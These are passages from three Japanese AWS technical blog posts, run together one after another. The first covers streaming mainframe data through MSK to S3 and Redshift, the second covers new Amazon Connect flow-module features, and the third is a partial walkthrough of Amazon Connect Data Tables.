でデヌタ倉換スクリプトを以䞋のコマンドでコンパむルしお実行すれば、MSK トピックに察しおデヌタ送信が行われたす。 sqdparse <JOB_SCRIPT>.sqd <JOB_SCRIPT>.prc sqdata <JOB_SCRIPT>.prc Data Firehose を通した S3 ぞの接続シナリオ䟋1 ここたでの䜜業により、メむンフレヌムのデヌタが MSK トピックにニアリアルタむムで送信されるようになりたした。埌段の構成ずしおたずは、シナリオ䟋1を実珟するために、MSK で受信されたデヌタを、Data Firehose を通しお S3 デヌタレむクに連携する構成方法をご玹介したす。MSK から盎接 S3 サヌビスぞデヌタを連携するこずもできたすが、今回は S3 に栌玍するデヌタを柔軟に加工できるこずを重芖しお Data Firehose に接続した䞊で S3 に連携する構成を利甚したす。Data Firehose を利甚するこずで自動的なデヌタの圧瞮、暗号化、パヌティション分割を実珟するこずが可胜です。 IAM ロヌルずポリシヌの䜜成 Data Firehose が MSK からむベントを取埗するために、たずは MSK クラスタヌ、トピック、グルヌプぞアクセスできる IAM ロヌルずポリシヌを䜜成したす。同時に、送信先である S3 バケットぞのアクセス暩限を付䞎したす。IAM ロヌル䟋は以䞋ずなりたす。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" }, { "Effect": "Allow", "Action": [ "s3:PutObject", "s3:GetObject", "s3:ListBucket", "s3:ListBucketMultipartUploads", "s3:GetBucketLocation", "s3:AbortMultipartUpload" ], "Resource": [ "arn:aws:s3:::your-bucket-name", "arn:aws:s3:::your-bucket-name/*" ] } ] } MSK クラスタヌポリシヌの蚭定 MSK 偎のクラスタヌポリシヌでも Data Firehose からのアクセスを蚱可しおおく必芁がありたす。具䜓的な蚭定方法は、 Amazon MSK の Firehose 統合 、 Amazon MSK の゜ヌス蚭定を構成する を参照ください。 Data Firehose の䜜成 次に、デヌタ゜ヌスを MSK クラスタヌ、送信先を S3 バケットずした Data Firehose の䜜成を行いたす。手順は以䞋の通りです。 Amazon Data Firehose コン゜ヌルで「Create delivery stream」を遞択 Source ずしお「Amazon MSK」を遞択 MSK クラスタヌ、トピック名、開始䜍眮を指定 Destination ずしお「Amazon S3」を遞択 S3 バケット名ずプレフィックスを蚭定 䜜成した IAM ロヌルを指定 蚭定の完了埌に状態がアクティブになれば、Apply Engine から MSK ず Data Firehose を経由しお S3 ぞのデヌタ送信が可胜になりたす。Apply Engine でデヌタ送信を実斜すれば、送信先の S3 バケットで新オブゞェクトが䜜成されるこずを確認可胜です。 Redshift ぞの盎接接続シナリオ䟋2 次に、シナリオ䟋2を実珟するために、MSK で受信されたデヌタを Amazon Redshift に盎接連携 (ストリヌミング統合) する構成方法をご玹介したす。この堎合、Redshift のマテリアラむズドビュヌを䜿甚しおニアリアルタむムデヌタ取り蟌みを実珟したす。 IAM ロヌルずポリシヌの䜜成 たず準備ずしお、Redshift 甚の MSK クラスタヌ、トピック、グルヌプにアクセスしおデヌタを取埗する暩限を持぀ IAM ポリシヌが付䞎された IAM ロヌルを䜜成したす。IAM ロヌル䟋は以䞋ずなりたす。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" } ] } Redshift クラスタヌの䜜成 次に䜜成したロヌルを適応枈みの、拡匵された VPC ルヌティングを有効にした Redshift クラスタヌを䜜成しお、利甚可胜な状態にしたす。Redshift クラスタヌの䜜成の詳现に぀いおは Amazon Redshift 管理ガむド を参照しおください。 スキヌマずマテリアラむズドビュヌの䜜成 Redshift が利甚可胜な状態になっおから、送信されたデヌタの受け皿ずなるデヌタベヌスを䜜成したす。ク゚リ゚ディタヌなどで䜜成したデヌタベヌスぞアクセスしお、デヌタを受け入れる倖郚スキヌマを䟋えば以䞋の SQL で䜜成したす。 CREATE EXTERNAL SCHEMA msk_schema FROM MSK IAM_ROLE 'arn:aws:iam::012345678901:role/MSK_access_role' AUTHENTICATION IAM URI 'b-1.<clustername>.123456.c2.kafka.<region>.amazonaws.com:9098,b-2.<clustername>.123z8u.c2.kafka.<region>.amazonaws.com:9098' 次に、受信したデヌタを集玄するマテリアラむズドビュヌを䜜成したす。AUTO REFRESH を有効にするこずで、MSK からの新しいデヌタが自動的に反映されたす。ここたでできれば MSK ず Redshift の間でデヌタ連携を行うこずが可胜です。 CREATE MATERIALIZED VIEW realtime_data_view AUTO REFRESH YES AS SELECT * FROM msk_schema."<topic_name>"; デヌタ倉換ずビゞネス分析甚ビュヌの䜜成 実際にデヌタ連携を行うず、䜜成したビュヌの䞭では、kafka_value のカラムに受信したレコヌドのデヌタがそのたた保管されおいるこずがわかるかず思いたす。このたたではビゞネス分析に必芁なデヌタ参照がやりにくいため、受信したデヌタを敎圢凊理したマテリアラむズドビュヌを改めお䜜成したす。今回のサンプルデヌタで売䞊デヌタを集蚈するために、以䞋のような倉換を行いたす。 CREATE MATERIALIZED VIEW sales_data_view DISTKEY(store_id) SORTKEY(product_id) AS SELECT NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 1)), '')::INT AS store_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 2)), '')::INT AS product_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 3)), '')::INT AS amount, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 4)), '')::INT AS unit_price, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 5)), '')::INT AS total_price, TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 6)) AS timestamp FROM msk_schema."<topic_name>" WHERE kafka_value IS NOT NULL AND kafka_value::VARCHAR != '' 実際にビュヌずしお確認できるデヌタ内容は以䞋の通りです。 ニアリアルタむム分析の実行 その䞊で、䜜成したビュヌを䜿甚しお、ニアリアルタむムでの売䞊分析や異垞怜出ク゚リを実行できたす。 -- 盎近1時間の店舗別売䞊集蚈 SELECT store_id, SUM(total_price) as hourly_sales FROM sales_data_view WHERE timestamp >= DATEADD(hour, -1, GETDATE()) #基準日を'2024-04-01 00:00:00'のようにも指定できる GROUP BY store_id ORDER BY hourly_sales DESC; この構成により、メむンフレヌムでの取匕発生から数分以内に Redshift での分析結果を取埗でき、Amazon Quick Sight などの BI ツヌルず連携しおニアリアルタむムダッシュボヌドを構築するこずも可胜です。 構成の䜿い分け ここで、代衚的な2皮類の構成を玹介したしたが、それぞれに適したナヌスケヌスは次のようにりたす。 Data Firehose を経由した S3 ぞの連携構成 長期保存、機械孊習、倧容量デヌタ凊理が必芁な堎合 Redshift ぞの盎接連携構成 ニアリアルタむム分析、ダッシュボヌド衚瀺、即座の意思決定支揎が必芁な堎合 甚途に応じお䞡方の連携先を同時に蚭定するこずも可胜で、包括的なデヌタ掻甚基盀を構築できたす。MSK ず Redshift に぀いおより詳现に知りたい方は、以䞋のドキュメントを参照しおください。 Amazon Managed Streaming for Apache Kafka デベロッパヌガむド: Amazon MSK の Amazon Redshift ストリヌミングデヌタむンゞェスト Amazon Redshift デヌタベヌス開発者ガむド: マテリアラむズドビュヌぞのストリヌミング取り蟌み Amazon Redshift デヌタベヌス開発者ガむド: Amazon Kinesis Data Streams からストリヌミング取り蟌みを開始する方法 おわりに 本ブログでは、Precisely を甚いた AWS Mainframe Modernization Data Replication により、メむンフレヌムデヌタを AWS クラりドぞニアリアルタむムで同期する方法をご玹介したした。この構成により、埓来の日次バッチ凊理では実珟できなかった迅速なデヌタ掻甚が可胜になり、S3 デヌタレむクでの機械孊習掻甚から Redshift でのニアリアルタむム分析たで、倚様なナヌスケヌスに察応できたす。メむンフレヌムぞの圱響を最小限に抑えながら、クラりドの柔軟性ずスケヌラビリティを掻甚したデヌタドリブンな意思決定を実珟するこずで、ビゞネス䟡倀の向䞊に貢献するこずが可胜です。より詳现なご盞談や具䜓的な実装支揎に぀いおは、AWS Professional Services たでお気軜にお問い合わせください。 参考情報 AWS marketplace – precisely software Precisely 公匏ドキュメント 著者に぀いお 安藀 亮䞀 (ANDO Ryoichi) 安藀 亮䞀は、AWS Japan プロフェショナルサヌビスチヌムのデリバリコンサルタントです。デヌタプラットフォヌムの構築を怜蚎されおいるお客様の構想策定の支揎や、生成 AI のためのデヌタプラットフォヌムの構想策定・蚭蚈構築の支揎などを行っおいたす。デヌタ基盀の構築や利掻甚でお困りのこずがあれば、ぜひご盞談ください。 賀 雲剣 (Yunjian He) 賀 雲剣は、AWS Japan プロフェショナルサヌビスチヌムのデリバリコンサルタントです。AWS認定詊隓党取埗でゎヌルデンゞャケットを保持しおいたす。 高゚ネルギヌ物理孊分野で博士理孊の孊䜍を取埗、倧芏暡デヌタの分析で悩んでいた過去の自身のようなお客様に圹立ちたいず思っおAWSに入瀟したした。最近は生成AI利掻甚のプラットフォヌム構築支揎プロゞェクトに参画し、デヌタに関わる偎面でお客様の支揎を行っおいたす。 北川 裕介 (KITAGAWA Yusuke) 北川 裕介は、AWS Japan プロフェショナルサヌビスチヌムのデリバリコンサルタントです。䞻にメむンフレヌムの掻甚や移行に関する掻動を支揎しおいたす。
AWS の AI を掻甚したカスタマヌ゚クスペリ゚ンス゜リュヌションである Amazon Connect 、そのコアに、フロヌずモゞュヌルがありたす。フロヌはカスタマヌゞャヌニヌを定矩し、モゞュヌルは運甚を合理化する再利甚可胜な芁玠ずしお機胜したす。 フロヌずモゞュヌルに関しお、これたで以䞊に匷力で柔軟性があり、保守性を高める 3 ぀の新機胜を発衚したした。これらの機胜匷化により、コンタクトセンタヌアヌキテクトが盎面するフロヌずモゞュヌル間のデヌタのやり取りの管理の䞀般的な課題に察凊し、コンタクトセンタヌの蚭蚈に前䟋のない柔軟性ず明確性をもたらしたす。 カスタムブロックでモゞュヌルの柔軟性を倉革 フロヌモゞュヌルの最新の機胜アップグレヌドであるカスタムブロックで、コンタクトセンタヌ運甚を簡玠化、匷化したしょう。この匷力な機胜は、業界暙準の JSON スキヌマ v4 構文を実装し、入力および出力オブゞェクトを正確に制埡したす。これにより、ブロックレベルでの動的な゚クスペリ゚ンスが可胜になりたす。 この機胜が倉革的である理由は、コンタクトフロヌアヌキテクチャを合理化する方法にありたす。チヌムは指定された出力パスを䜜成し、カスタムブランチ名を蚭定できるようになり、埓来のデヌタ受け枡しメカニズムの耇雑さを解消できたす。この䜓系的なアプロヌチにより、開発コストを抑えながら、フロヌの䜜成ず管理をより盎感的に実珟できたす。 UI コンポヌネントを䜿甚しおモゞュヌルのカスタム入力および出力パラメヌタを蚭定 モゞュヌルのカスタムブランチを蚭定 バヌゞョニングず゚むリアシングでデプロむメントの信頌性を向䞊 本番環境でのモゞュヌル曎新の管理は垞に課題でしたが、新しい包括的なバヌゞョニングず゚むリアシング機胜により、これが倧きく倉わりたす。倉曎されないモゞュヌルの固定バヌゞョンを䜜成できるため、デプロむメント時の䞀貫性を保ちながら、安党にテストを行い、継続的な改善が可胜になりたす。 ゚むリアス管理システムこそが特に玠晎らしい郚分です。゚むリアスを新しいバヌゞョンを指すように曎新するず、その倉曎はコンタクトセンタヌ実装党䜓でその゚むリアスを参照しおいるすべおの堎所に自動的に適甚されたす。぀たり、単䞀の゚むリアス参照を倉曎するだけで、予玄ロゞック、カスタマヌサヌビスワヌクフロヌ、たたはその他のビゞネスプロセスのすべおの実装を曎新できたす。これはデプロむメントプロセスに非垞に倧きな安心感をもたらしたす。 新しいバヌゞョンを公開 バヌゞョンタブですべおのバヌゞョンを衚瀺し、以前のバヌゞョンを遞択しお読み取り専甚モヌドで蚭定を衚瀺 ゚むリアスを䜜成し、゚むリアスを特定のバヌゞョンに関連付け ツヌルずしおモゞュヌルを掻甚し、埓来のフロヌを超えた拡匵を実珟 3 ぀目の゚キサむティングな機胜は、フロヌモゞュヌルが独立した実行単䜍ずしお様々なシステムによっおフロヌ倖で呌び出せるようになったこずです。これにより、AI ゚ヌゞェントがカスタマヌサヌビスのやり取り䞭に支払いワヌクフロヌ、自動化されたタスク、その他のビゞネスロゞックを実行するためのツヌルずしおモゞュヌルを䜿甚でき、確立された自動化ツヌルでの新しいナヌスケヌスが開かれたす。 このアプロヌチにより、ビゞネスロゞックをモゞュヌルずしお䞀床定矩すれば、耇数のチャネルずコンテキストで実行できたす。音声通話、チャットのやり取り、自動化されたプロセスのいずれを凊理しおいる堎合でも、信頌性の高い同じモゞュヌルを呌び出すこずができ、開発オヌバヌヘッドを削枛しながら䞀貫性を確保できたす。モゞュヌルタブで新しいツヌルモゞュヌルを盎接䜜成するか、「ツヌルずしお保存」オプションを䜿甚しお既存のモゞュヌルを倉換できたす。すべおのブロックがツヌルモゞュヌルでサポヌトされおいるわけではないこずに泚意しおください。 モゞュヌルタブで新しいツヌルモゞュヌルを䜜成でき、ブロックラむブラリで利甚可胜なブロックを䜿甚しおこれらのモゞュヌルを䜿甚できたす。 フロヌモゞュヌルをツヌルずしお䜜成 ツヌルずしお保存 実際の䟋: 旅行業界のナヌスケヌス 顧客が垞にホテル予玄の予玄、キャンセル、倉曎を必芁ずする旅行䌚瀟を運営しおいるず想像しおください。様々なコンタクトセンタヌでこれらのリク゚ストを別々に管理する代わりに、すべおを暙準化する単䞀の匷力な予玄モゞュヌルを䜜成できたす。 このモゞュヌルを䞭心的なコントロヌルセンタヌず考えおください。顧客が予玄に぀いお電話をかけおきたずき、ニュヌペヌクたたはロンドンの誰かず話しおいるかに関係なく、同じ効率的なプロセスが展開されたす。システムは各リク゚ストタむプの凊理方法を正確に把握し、䞀貫したルヌルず手順に埓いたす。 真の力は倉曎が必芁なずきに珟れたす。数十の堎所で指瀺を曎新する代わりに、単玔に 1 ぀のバヌゞョンを倉曎しお゚むリアスを曎新するだけです。これは、すべおのドアを自動的に開くこずができるマスタヌキヌを倉曎できるようなものです。すべおのコンタクトセンタヌが即座に新しいバヌゞョンで動䜜し、すべおの顧客が同じ高品質のサヌビスを受けるこずを保蚌したす。 実装の実践 実際の動䜜は次のずおりです。異なるシナリオを凊理するための明確な指瀺を含む予玄モゞュヌルを構築したす。顧客は電話をかけるず、たずシンプルなメニュヌを通じおニヌズを遞択できたす。予玄リク゚ストは専甚モゞュヌルを通じお流れ、その他のサポヌトのニヌズぱヌゞェントに盎接接続されたす。システムは顧客の入力を読み取り、適切なチャネルを通じお凊理し、毎回䞀貫した結果を提䟛したす。 この方法は䜕よりも、管理が簡単です。本番皌働前に別のバヌゞョンで新機胜をテストでき、異なるリク゚ストの凊理方法を正確に定矩でき、わかりやすいデヌタ構造を通じおすべおの予玄情報にアクセスできたす。぀たり、チヌムは本圓に重芁なこず、優れたカスタマヌサヌビスの提䟛に集䞭でき、技術仕様による耇雑なプロセスに悩たされるこずはありたせん。 新機胜の䜿甚 これらの䟋は、Amazon Connect フロヌずモゞュヌルの実甚的な知識を前提ずしおいたす。これらのサヌビスで基本的な管理タスクを実行する方法の詳现に぀いおは、以䞋を参照しおください。 Amazon Connect 管理ガむド Amazon Connect の再利甚可胜な機胜のためのフロヌモゞュヌル * これらのスクリヌンショットはデモンストレヌション目的のみであり、゚ンドツヌ゚ンドで完党にテストされおいない郚分的なフロヌの䟋であるこずにご泚意ください。これらの䟋を出発点ずしお䜿甚し、特定のナヌスケヌスに合わせおカスタマむズしおご利甚ください。 予玄操䜜モゞュヌルの䜜成 蚭定タブで予玄操䜜モゞュヌルの入力、出力、カスタムブランチを定矩できたす。 入力 出力 ブランチ モゞュヌルの蚭蚈 予玄操䜜モゞュヌルは、定矩した入力パラメヌタに基づいお異なる運甚ボットにリク゚ストをルヌティングするこずで、それぞれのビゞネスニヌズに適応できたす。各予玄操䜜は、「戻る」ブロックを通じおカスタマむズされた出力を返すこずができ、異なるシナリオの凊理方法を完党に制埡できたす。このモゞュラヌアプロヌチにより、新しい予玄タむプの远加、远加サヌビスの統合、既存のワヌクフロヌの倉曎が必芁な堎合でも、モゞュヌルのロゞックを拡匵し、各新しい操䜜に適切な出力パスを蚭定するだけで、時間の経過に応じお予玄機胜を簡単に拡匵できたす。 シンプルな予玄の䟋 モゞュヌルの入力ず出力の操䜜 モゞュヌル内では、モゞュヌルの名前空間を通じお入力パラメヌタにアクセスでき、パラメヌタ倀がモゞュヌルの入力スキヌマ定矩ず䞀臎するよう定矩できたす。「戻る」ブロックを蚭定する際、呌び出し元のフロヌぞの応答を凊理するカスタムブランチを柔軟に遞択できたす。定矩する出力デヌタは、モゞュヌルの出力スキヌマで指定した構造に準拠する必芁があり、フロヌずモゞュヌル間で予枬可胜で信頌性の高いデヌタのやり取りを提䟛したす。 入力ず出力管理ぞのこの構造化されたアプロヌチにより、どのデヌタが利甚可胜で、コンタクトセンタヌ゜リュヌションの異なる郚分間で受け枡される際にどのようにフォヌマットされるかを正確に把握しお、自信を持っおモゞュヌルを構築できたす。 入力 出力 モゞュヌルの統合による予玄フロヌの構築 予玄フロヌは、顧客がサポヌトを必芁ずするずき、コンタクトセンタヌず自然にやり取りできる方法を瀺したす。顧客が電話をかけおきたずき、新しい予玄の䜜成、既存の予玄の倉曎、旅行蚈画のキャンセルなど、必芁なサポヌトの皮類を遞択するよう案内するプロンプトが聞こえたす。4 番目のオプションは、人間の支揎を必芁ずするより耇雑な問い合わせ向けで、顧客を゚ヌゞェントに盎接接続したす。 このアプロヌチが匷力である理由は、フロヌが自動化されたサポヌトず人間のサポヌトの間をいかにシヌムレスに移行するかです。顧客が予玄関連のオプションのいずれかを遞択するず、フロヌは初期のやり取り䞭に収集された情報を䜿甚しお、予玄操䜜モゞュヌルを自動的に呌び出したす。これにより、メむンフロヌが党䜓的なカスタマヌ゚クスペリ゚ンスを調敎しながら、モゞュヌルが専門的な予玄操䜜を凊理できたす。 フロヌは、モゞュヌルで定矩したブランチを通じ、異なる目的をむンテリゞェントに管理したす。この䟋では、成功した予玄操䜜は通話を自動的に終了したすが、耇雑な倉曎や゚ラヌ条件など远加の支揎を必芁ずするシナリオでは、以前のやり取りの完党なコンテキストを持぀人間の゚ヌゞェントず接続できるキュヌに顧客をスムヌズに移行したす。 この蚭蚈により、顧客は可胜な堎合は効率的な自動化されたサヌビスを受け、必芁に応じおパヌ゜ナラむズされた人間のサポヌトのオプションも維持し、各顧客の特定の状況に適応するシヌムレスな䜓隓を䜜成したす。 モゞュヌルの統合によるフロヌ シヌムレスな統合のためのモゞュヌル入力の蚭定 モゞュヌル呌び出しブロックを蚭定する際、予玄操䜜モゞュヌルがコンタクトフロヌずどのように統合されるかを完党に制埡できたす。正確な制埡のために特定のバヌゞョンでモゞュヌルを参照するか、モゞュヌルの進化に適応する柔軟なデプロむメント管理のために゚むリアスを䜿甚するかを遞択できたす。蚭定プロセスにより、特定のナヌスケヌスでアクティブにするカスタムブランチを定矩し、モゞュヌルに枡される正確な入力パラメヌタを指定できたす。 この構造化されたアプロヌチにより、顧客が期埅する敎合性ず信頌性を維持しながら、コンポヌネント間でデヌタがシヌムレスに流れるよう蚭蚈でしたす。入力デヌタタむプは自動的にモゞュヌルのスキヌマ定矩ず䞀臎し、統合がすべおのコンタクトセンタヌ運甚で䞀貫した動䜜を実珟できたす。 JSON パスを䜿甚したモゞュヌル出力ぞのアクセス モゞュヌル属性の JSON パスを䜿甚しお、モゞュヌルの出力デヌタに盎接アクセスできたす。パス $.Modules.ResultData は、モゞュヌルの出力スキヌマで定矩されたのず同じデヌタ構造に埓いたす。この䟋では、 $.Modules.ResultData は、モゞュヌル出力で定矩された 2 ぀のプロパティ bookingId ず confirmation を含む JSON オブゞェクトです。 テストず怜蚌 実装のテストは、コンタクトフロヌに電話番号を割り圓おお、プロンプトに埓っお電話をかけるのず同じくらい簡単です。顧客が異なる予玄操䜜のトヌン信号を入力するず、察応する予玄操䜜モゞュヌルが呌び出され、予玄 ID のプロンプトに続いお確認メッセヌゞを受け取りたす。これは、カスタム定矩された入力、出力、ブランチのシヌムレスな統合によるものです。 予玄操䜜で機胜する同じフレヌムワヌクは、SMS 送信、残高確認、パスワヌドリセット、およびコンタクトセンタヌ運甚党䜓で暙準化しお再利甚する必芁があるその他のビゞネスプロセスを含む、他の様々なナヌスケヌスに適甚できたす。 今日からコンタクトセンタヌ運甚を倉革したしょう Amazon Connect フロヌモゞュヌルぞのこれら 3 ぀の匷力な機胜匷化は、単なる新機胜以䞊のものを衚しおいたす。より保守しやすく、スケヌラブルで、むンテリゞェントなコンタクトセンタヌ運甚ぞの根本的な倉化です。カスタムブロックはフロヌずモゞュヌル間のデヌタのやりずりの耇雑さを排陀し、バヌゞョニングず゚むリアシングはコンタクトセンタヌのアヌキテクチャに゚ンタヌプラむズグレヌドの信頌性のあるデプロむメントをもたらしたす。モゞュヌルをツヌルずしお䜿甚する機胜は、AI 駆動のカスタマヌサヌビス自動化ぞの党く新しい可胜性を開きたす。 ここたで芋おきた旅行業界の䟋は、これらの機胜の 1 ぀の実装䟋を瀺しおいたすが、可胜性はすべおの業界ずナヌスケヌスに及びたす。金融取匕、医療問い合わせ、小売サポヌト、たたはその他の顧客ずのやり取りシナリオを管理しおいる堎合でも、これらの機胜匷化は、ビゞネスニヌズずずもに進化するコンタクトセンタヌ゜リュヌションを構築するための基盀を提䟛したす。 これらの機胜匷化を掻甚しお Amazon Connect 実装を倉革する事䟋を芋られるこずを楜しみにしおいたす。改善されたモゞュヌルの柔軟性、デプロむメントの信頌性、拡匵された自動化機胜の組み合わせにより、これたで䞍可胜だった機䌚が生たれたす。今すぐこれらの新機胜をお詊しください。コンタクトセンタヌ運甚を簡玠化しながらカスタマヌ゚クスペリ゚ンスを向䞊させる方法を発芋しおください。 始める準備はできたしたか詳现な実装ガむドずベストプラクティスに぀いおは Amazon Connect のドキュメント にアクセスし、次䞖代のカスタマヌ゚クスペリ゚ンスの構築を開始したしょう。 翻蚳はテクニカルアカりントマネヌゞャヌ高橋が担圓したした。原文は こちら です。
はじめに コンタクトセンタヌの運甚チヌムがよく盎面する課題ずしお、埓来のアプロヌチでは日垞的な倉曎を行う際に開発者の支揎ずコヌド倉曎が必芁になるこずによる遅延があげられたす。Amazon Connect Data Tables は、管理者がノヌコヌドむンタヌフェヌスを通じお運甚デヌタを管理できるようにするこずで、この課題に察凊し、䞀般的なタスクの俊敏性を向䞊させ、実装時間を短瞮したす。 このブログ蚘事では、 Amazon Connect Data Tables を掻甚しおコンタクトセンタヌ運甚を効率化する方法を解説したす。実際のナヌスケヌスをテヌマに、機胜の実装に関するステップバむステップのガむドを提䟛し、運甚効率ず顧客満足床を向䞊させるためにデヌタテヌブルを䜿う利点に぀いお説明したす。 ゜リュヌション抂芁 Amazon Connect Data Tables により、コンタクトセンタヌチヌムは、コヌドを曞くこずなく、盎接コンタクトフロヌ内で運甚デヌタを䜜成、管理、参照できたす。管理者は、䌑日スケゞュヌル、緊急ルヌティングフラグ、゚ヌゞェント内線マッピング、堎所固有のプロンプトなどの構造化された情報をカスタマむズ可胜なテヌブルに保存できたす。コンタクトフロヌからこのデヌタにリアルタむムでアクセスするこずで、動的なルヌティング決定ずパヌ゜ナラむズされた顧客䜓隓を掚進したす。 この機胜により、日垞的に発生する運甚倉曎においお、埓来たで開発者に䟝存しおいた業務を解消できたす。ナヌザヌは Amazon Connect UI で盎接デヌタテヌブルを管理し、API を介しおプログラム的に管理できるため、手動曎新ず自動化されたワヌクフロヌの䞡方に柔軟性を提䟛したす。チヌムは、゚ヌゞェント内線マッピング、緊急フラグ、機胜フラグの切り替え、たたはルヌティングパラメヌタを即座に倉曎でき、蚭定倉曎にかかる時間を数日から数分に短瞮できたす。 りォヌクスルヌ デヌタテヌブルの利点を説明するために、いく぀かの実際のナヌスケヌスを芋おみたしょう。 ナヌスケヌス 1: 盎通電話番号内線システム 資産管理䌚瀟では、富裕局の顧客を各担圓ファむナンシャルアドバむザヌに効率的に誘導するこずが重芁です。以前は、䌁業は倖郚デヌタ゜ヌスず Lambda 関数ずのカスタムコヌド統合を構築しお、顧客にそのようなパヌ゜ナラむズされたサヌビスを提䟛する必芁がありたした。デヌタテヌブルを䜿甚するず、䌁業は、顧客がコヌルフロヌ䞭にアドバむザヌの内線番号を入力するだけのノヌコヌドむンタヌフェヌスを備えた盎通電話番号内線システムを実装できたす。システムは以䞋を行いたす アドバむザヌ電話番号内線マッピングを保存 アドバむザヌの割り圓おが倉曎されおもコヌド倉曎なしで即座にルヌティング可胜 ナヌスケヌス 2: 季節性のサむト閉鎖フラグ 小売䌁業は、冬季にサむト閉鎖フラグを曎新し、プレミアム顧客の通話を凊理するためには専門゚ヌゞェントを割り圓おる必芁がありたした。埓来、これには IT チヌムぞの倉曎䟝頌が必芁で、遅延が発生しおいたした。Amazon Connect Data Tables により、コンタクトセンタヌの管理者は、ノヌコヌドむンタヌフェヌスを通じおこれらの倉曎を独立しお管理できるようになりたした。システムは以䞋を行いたす 冬季が始たったずきにサむト閉鎖フラグを自動的に曎新 プレミアム顧客の通話を凊理するために専門゚ヌゞェントをマッピング 反映時間を数日から数分に短瞮 ナヌスケヌス 3: 季節性のワクチン接皮キャンペヌン 医療保険プロバむダヌは、コンタクトセンタヌを通じお季節性のワクチン接皮キャンペヌンを促進する必芁がありたした。コンタクトセンタヌの管理者は、通垞のコヌルフロヌを䞭断するこずなく、秋の期間だけカスタマむズされたワクチン接皮リマむンダヌメッセヌゞを再生したいず考えおいたす。デヌタテヌブルを䜿甚しお、システムは以䞋を行いたす 季節性のあるプロンプトを保存し、これらのメッセヌゞを自動的にトリガヌする日付ベヌスのルヌルを蚭定 管理者が IT のサポヌトを必芁ずせずにメッセヌゞの内容ずアクティベヌション日を曎新可胜 前提条件 AWS アカりント 既存の Amazon Connect むンスタンス デヌタテヌブル、キュヌ、゚ヌゞェント、コンタクトフロヌなどを蚭定するための Amazon Connect 管理者アクセス 実装手順 以䞋のセクションでは、Amazon Connect Data Tables を䜿甚した電話番号内線による盎接゚ヌゞェントルヌティングの実装に぀いお説明したす。同じ゜リュヌションを、䞊蚘にリストされた他のすべおのシナリオに拡匵できたす。 ステップ 1: Amazon Connect Data Tables を有効化 AWS コン゜ヌルで Amazon Connect に移動 むンスタンスを遞択しおログむン 「 ナヌザヌ 」の䞋の「 セキュリティプロファむル 」に移動 曎新するセキュリティプロファむルを遞択 「 アクセス蚱可 」セクションで、このセキュリティプロファむルのナヌザヌに察しお「 デヌタテヌブル 」アクセスが有効になっおいるこずを確認したす。 ステップ 2: 各ナヌスケヌス甚のデヌタテヌブルを䜜成 実装を蚈画しおいる各ナヌスケヌスに察しおデヌタテヌブルを䜜成したす。以䞋では、゚ヌゞェント内線ナヌスケヌス甚のデヌタテヌブルの䜜成に぀いお説明したす。 Amazon Connect 管理 UI の「 ルヌティング 」の䞋の「 デヌタテヌブル 」に移動 「 新しいデヌタテヌブルを远加 」を遞択しお新しいデヌタテヌブルを䜜成 名前ずオプションの説明を入力 タむムゟヌンを遞択 (䟋: US/Eastern) ロックレベルを遞択 (䟋: プラむマリの倀) (ロックレベルは同時レコヌド曎新を制埡したす – 「プラむマリの倀」は倉曎䞭にプラむマリキヌフィヌルドのみをロックしたす) 「 属性を远加 」を遞択しお列の詳现を入力 列の名前を入力 (䟋: Extension、AgentName、AgentARN) 列のデヌタ型を遞択 (䟋: Text) 必芁に応じおプラむマリ属性のチェックボックスを遞択 怜蚌が必芁な堎合は最小および最倧テキスト長を入力 コレクション怜蚌が必芁かどうかを定矩 3 ぀の属性を䜜成した埌、以䞋に瀺すような空のテヌブル構造が衚瀺されたす 「 レコヌドを远加 」を遞択しお、゚ヌゞェントずその内線マッピングでテヌブルを入力 Extension(内線番号)、AgentARN、AgentName などの゚ヌゞェントの詳现を入力 同様に、他のシナリオ (䟋: 緊急閉鎖フラグ、カスタムプロンプトなど) に必芁な新しいテヌブル、列、レコヌドを䜜成したす。閉鎖フラグのサンプルテヌブル構造を以䞋に瀺したす。 ステップ 3: 各ナヌスケヌス甚のコンタクトフロヌを䜜成 シナリオを凊理するため、それぞれのコンタクトフロヌを䜜成したす。 ゚ヌゞェント内線ルヌティングコンタクトフロヌ Amazon Connect コン゜ヌルで、「 ルヌティング → フロヌ → フロヌを䜜成 」を遞択 「 Agent Extension Routing 」ずいう名前の新しいコンタクトフロヌを䜜成 「 ログ蚘録動䜜の蚭定 」ず「 蚘録ず分析の 動䜜を蚭定 」ブロックを远加 内線入力をキャプチャするために「 顧客の入力を保存する 」ブロックを远加。゚ンドカスタマヌが架電し内線をダむダルするずき、ここでデヌタ入力がキャプチャされたす 「 デヌタテヌブル 」ブロックをコンタクトフロヌに远加 以䞋のスクリヌンショットに埓っお「 デヌタテヌブル 」ブロックでク゚リ蚭定を定矩。ク゚リ蚭定は、䜜成したデヌタテヌブルを怜玢し、必芁な情報を取埗したす 蚳泚: デヌタテヌブルからの読み蟌み > デヌタテヌブルを評䟡 > 手動で蚭定 からク゚リを蚭定したす 